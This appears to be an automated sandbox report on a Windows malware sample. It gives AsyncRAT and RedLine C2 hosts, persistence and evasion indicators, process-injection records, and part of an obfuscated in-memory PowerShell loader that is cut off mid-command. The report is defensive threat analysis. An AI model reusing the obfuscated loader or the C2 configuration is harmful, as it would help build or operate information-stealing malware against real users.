Analysis
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max time kernel
150s -
max time network
149s -
platform
windows11-21h2_x64 -
resource
win11-20240802-en -
resource tags
arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system -
submitted
05-08-2024 15:19
Static task
static1
Behavioral task
behavioral1
Sample
1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral2
Sample
1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe
Resource
win11-20240802-en
General
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Target
1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe
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Size
322KB
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MD5
59d3bc9ca446bf4fcce3a93cdbce134a
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SHA1
37120e1b71956b5f3852605db0f33f4565a3952d
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SHA256
1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db
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SHA512
d23ddc6d55d8bf237e68d946f1a330a14907ea2b891ccea0890f63ee0f47f746b6e1d9d2151da1744b36d14b06b428fe308ffd97ae44732f3491682610950b63
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SSDEEP
6144:3RptkRZIFoIkY/7J81GyQUMTa5+suXqWxHNDf1CPyysAosQSPJHdlLTpn:jHoIfjJ80Rl86xHTCPvsASQJHd
Malware Config
Extracted
asyncrat
0.5.8
blue.o7lab.me:7777
server.underground-cheat.xyz:7777
RPYntXGt1eJi
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delay
3
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install
true
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install_file
WinUpdate.exe
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install_folder
%AppData%
Extracted
redline
server.underground-cheat.xyz
server.underground-cheat.xyz:1337
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 2 IoCs
resource yara_rule behavioral2/files/0x000200000002aade-5010.dat family_redline behavioral2/memory/4652-5044-0x0000000000050000-0x000000000006E000-memory.dmp family_redline -
SectopRAT payload 2 IoCs
resource yara_rule behavioral2/files/0x000200000002aade-5010.dat family_sectoprat behavioral2/memory/4652-5044-0x0000000000050000-0x000000000006E000-memory.dmp family_sectoprat -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 1072 created 632 1072 powershell.EXE 5 PID 3648 created 632 3648 powershell.EXE 5 -
Async RAT payload 1 IoCs
resource yara_rule behavioral2/files/0x000200000002aad5-25.dat family_asyncrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
pid Process 2308 powershell.exe 1072 powershell.EXE 3648 powershell.EXE 4472 powershell.exe 4104 powershell.exe 3416 powershell.exe -
Executes dropped EXE 7 IoCs
pid Process 1444 Install.exe 1832 $77svchost.exe 4616 WinUpdate.exe 3532 wrmeaz.exe 4652 rjsztz.exe 3544 olpylu.exe 2936 TypeId.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx svchost.exe -
Drops file in System32 directory 8 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\WaitHandle\TypeId svchost.exe File opened for modification C:\Windows\System32\Tasks\$77svc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\WinUpdate svchost.exe File opened for modification C:\Windows\System32\Tasks\suspuwgyc svchost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1072 set thread context of 4800 1072 powershell.EXE 86 PID 3648 set thread context of 5012 3648 powershell.EXE 113 PID 2936 set thread context of 2456 2936 TypeId.exe 115 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 16 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rjsztz.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language $77svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WinUpdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language olpylu.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 4152 timeout.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Mon, 05 Aug 2024 15:20:56 GMT" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates svchost.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1722871255" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 72 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1072 powershell.EXE 1072 powershell.EXE 1072 powershell.EXE 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 4800 dllhost.exe 1832 $77svchost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1072 powershell.EXE Token: SeDebugPrivilege 1072 powershell.EXE Token: SeDebugPrivilege 4800 dllhost.exe Token: SeDebugPrivilege 1832 $77svchost.exe Token: SeShutdownPrivilege 3304 Explorer.EXE Token: SeCreatePagefilePrivilege 3304 Explorer.EXE Token: SeDebugPrivilege 4616 WinUpdate.exe Token: SeAssignPrimaryTokenPrivilege 2644 svchost.exe Token: SeIncreaseQuotaPrivilege 2644 svchost.exe Token: SeSecurityPrivilege 2644 svchost.exe Token: SeTakeOwnershipPrivilege 2644 svchost.exe Token: SeLoadDriverPrivilege 2644 svchost.exe Token: SeSystemtimePrivilege 2644 svchost.exe Token: SeBackupPrivilege 2644 svchost.exe Token: SeRestorePrivilege 2644 svchost.exe Token: SeShutdownPrivilege 2644 svchost.exe Token: SeSystemEnvironmentPrivilege 2644 svchost.exe Token: SeUndockPrivilege 2644 svchost.exe Token: SeManageVolumePrivilege 2644 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2644 svchost.exe Token: SeIncreaseQuotaPrivilege 2644 svchost.exe Token: SeSecurityPrivilege 2644 svchost.exe Token: SeTakeOwnershipPrivilege 2644 svchost.exe Token: SeLoadDriverPrivilege 2644 svchost.exe Token: SeSystemtimePrivilege 2644 svchost.exe Token: SeBackupPrivilege 2644 svchost.exe Token: SeRestorePrivilege 2644 svchost.exe Token: SeShutdownPrivilege 2644 svchost.exe Token: SeSystemEnvironmentPrivilege 2644 svchost.exe Token: SeUndockPrivilege 2644 svchost.exe Token: SeManageVolumePrivilege 2644 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2644 svchost.exe Token: SeIncreaseQuotaPrivilege 2644 svchost.exe Token: SeSecurityPrivilege 2644 svchost.exe Token: SeTakeOwnershipPrivilege 2644 svchost.exe Token: SeLoadDriverPrivilege 2644 svchost.exe Token: SeSystemtimePrivilege 2644 svchost.exe Token: SeBackupPrivilege 2644 svchost.exe Token: SeRestorePrivilege 2644 svchost.exe Token: SeShutdownPrivilege 2644 svchost.exe Token: SeSystemEnvironmentPrivilege 2644 svchost.exe Token: SeUndockPrivilege 2644 svchost.exe Token: SeManageVolumePrivilege 2644 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2644 svchost.exe Token: SeIncreaseQuotaPrivilege 2644 svchost.exe Token: SeSecurityPrivilege 2644 svchost.exe Token: SeTakeOwnershipPrivilege 2644 svchost.exe Token: SeLoadDriverPrivilege 2644 svchost.exe Token: SeSystemtimePrivilege 2644 svchost.exe Token: SeBackupPrivilege 2644 svchost.exe Token: SeRestorePrivilege 2644 svchost.exe Token: SeShutdownPrivilege 2644 svchost.exe Token: SeSystemEnvironmentPrivilege 2644 svchost.exe Token: SeUndockPrivilege 2644 svchost.exe Token: SeManageVolumePrivilege 2644 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2644 svchost.exe Token: SeIncreaseQuotaPrivilege 2644 svchost.exe Token: SeSecurityPrivilege 2644 svchost.exe Token: SeTakeOwnershipPrivilege 2644 svchost.exe Token: SeLoadDriverPrivilege 2644 svchost.exe Token: SeSystemtimePrivilege 2644 svchost.exe Token: SeBackupPrivilege 2644 svchost.exe Token: SeRestorePrivilege 2644 svchost.exe Token: SeShutdownPrivilege 2644 svchost.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3920 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1264 wrote to memory of 1444 1264 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe 82 PID 1264 wrote to memory of 1444 1264 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe 82 PID 1264 wrote to memory of 1444 1264 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe 82 PID 1264 wrote to memory of 1832 1264 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe 83 PID 1264 wrote to memory of 1832 1264 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe 83 PID 1264 wrote to memory of 1832 1264 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe 83 PID 1072 wrote to memory of 4800 1072 powershell.EXE 86 PID 1072 wrote to memory of 4800 1072 powershell.EXE 86 PID 1072 wrote to memory of 4800 1072 powershell.EXE 86 PID 1072 wrote to memory of 4800 1072 powershell.EXE 86 PID 1072 wrote to memory of 4800 1072 powershell.EXE 86 PID 1072 wrote to memory of 4800 1072 powershell.EXE 86 PID 1072 wrote to memory of 4800 1072 powershell.EXE 86 PID 1072 wrote to memory of 4800 1072 powershell.EXE 86 PID 4800 wrote to memory of 632 4800 dllhost.exe 5 PID 4800 wrote to memory of 688 4800 dllhost.exe 7 PID 4800 wrote to memory of 988 4800 dllhost.exe 12 PID 4800 wrote to memory of 460 4800 dllhost.exe 13 PID 4800 wrote to memory of 452 4800 dllhost.exe 14 PID 4800 wrote to memory of 892 4800 dllhost.exe 15 PID 4800 wrote to memory of 1064 4800 dllhost.exe 16 PID 4800 wrote to memory of 1124 4800 dllhost.exe 17 PID 4800 wrote to memory of 1136 4800 dllhost.exe 18 PID 4800 wrote to memory of 1212 4800 dllhost.exe 20 PID 4800 wrote to memory of 1220 4800 dllhost.exe 21 PID 4800 wrote to memory of 1228 4800 dllhost.exe 22 PID 4800 wrote to memory of 1384 4800 dllhost.exe 23 PID 4800 wrote to memory of 1404 4800 dllhost.exe 24 PID 4800 wrote to memory of 1424 4800 dllhost.exe 25 PID 4800 wrote to memory of 1540 4800 dllhost.exe 26 PID 4800 wrote to memory of 1564 4800 dllhost.exe 27 PID 4800 wrote to memory of 1688 4800 dllhost.exe 28 PID 4800 wrote to memory of 1736 4800 dllhost.exe 29 PID 4800 wrote to memory of 1756 4800 dllhost.exe 30 PID 4800 wrote to memory of 1820 4800 dllhost.exe 31 PID 4800 wrote to memory of 1872 4800 dllhost.exe 32 PID 4800 wrote to memory of 1896 4800 dllhost.exe 33 PID 4800 wrote to memory of 1904 4800 dllhost.exe 34 PID 4800 wrote to memory of 2008 4800 dllhost.exe 35 PID 4800 wrote to memory of 1468 4800 dllhost.exe 36 PID 4800 wrote to memory of 2104 4800 dllhost.exe 37 PID 4800 wrote to memory of 2252 4800 dllhost.exe 39 PID 4800 wrote to memory of 2388 4800 dllhost.exe 40 PID 4800 wrote to memory of 2500 4800 dllhost.exe 41 PID 4800 wrote to memory of 2508 4800 dllhost.exe 42 PID 4800 wrote to memory of 2556 4800 dllhost.exe 43 PID 4800 wrote to memory of 2624 4800 dllhost.exe 44 PID 4800 wrote to memory of 2636 4800 dllhost.exe 45 PID 4800 wrote to memory of 2644 4800 dllhost.exe 46 PID 4800 wrote to memory of 2656 4800 dllhost.exe 47 PID 4800 wrote to memory of 2708 4800 dllhost.exe 48 PID 4800 wrote to memory of 3060 4800 dllhost.exe 49 PID 4800 wrote to memory of 2060 4800 dllhost.exe 50 PID 4800 wrote to memory of 700 4800 dllhost.exe 52 PID 4800 wrote to memory of 3304 4800 dllhost.exe 53 PID 4800 wrote to memory of 3432 4800 dllhost.exe 54 PID 4800 wrote to memory of 3468 4800 dllhost.exe 55 PID 4800 wrote to memory of 3840 4800 dllhost.exe 58 PID 4800 wrote to memory of 3920 4800 dllhost.exe 59 PID 4800 wrote to memory of 3976 4800 dllhost.exe 60 PID 4800 wrote to memory of 4024 4800 dllhost.exe 61 PID 4800 wrote to memory of 4256 4800 dllhost.exe 62 PID 4800 wrote to memory of 4404 4800 dllhost.exe 63 PID 4800 wrote to memory of 1044 4800 dllhost.exe 66 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:632
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:460
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f2b6375e-0724-4664-980f-4050df523ef4}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4800
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9f76ad8a-eb5b-4165-be5a-0c7d293b0a0e}2⤵PID:5012
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:988
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:452
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1124 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:cAYNCcTcmszh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PsEFxNOHqraMOw,[Parameter(Position=1)][Type]$YbIucFvpZQ)$XzLHPKRelZM=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'le'+'c'+''+'t'+''+[Char](101)+'dD'+'e'+''+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+'M'+'e'+'m'+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+''+[Char](100)+''+'u'+'l'+'e'+'',$False).DefineType('My'+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+'e'+[Char](84)+'y'+'p'+''+[Char](101)+'',''+'C'+'la'+[Char](115)+''+'s'+','+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+'c,S'+[Char](101)+''+'a'+'led'+','+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss'+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+'l'+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$XzLHPKRelZM.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+'c'+'ial'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+''+'d'+''+'e'+''+'B'+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+'b'+''+'l'+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$PsEFxNOHqraMOw).SetImplementationFlags('Run'+[Char](116)+'im'+[Char](101)+''+[Char](44)+''+[Char](77)+'an'+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');$XzLHPKRelZM.DefineMethod('I'+[Char](110)+'vo'+[Char](107)+''+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+'ByS'+[Char](105)+''+'g'+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+'ua'+'l'+'',$YbIucFvpZQ,$PsEFxNOHqraMOw).SetImplementationFlags('R'+'u'+''+'n'+''+'t'+''+'i'+''+'m'+''+'e'+''+','+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $XzLHPKRelZM.CreateType();}$orHlKjXxHkKZp=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 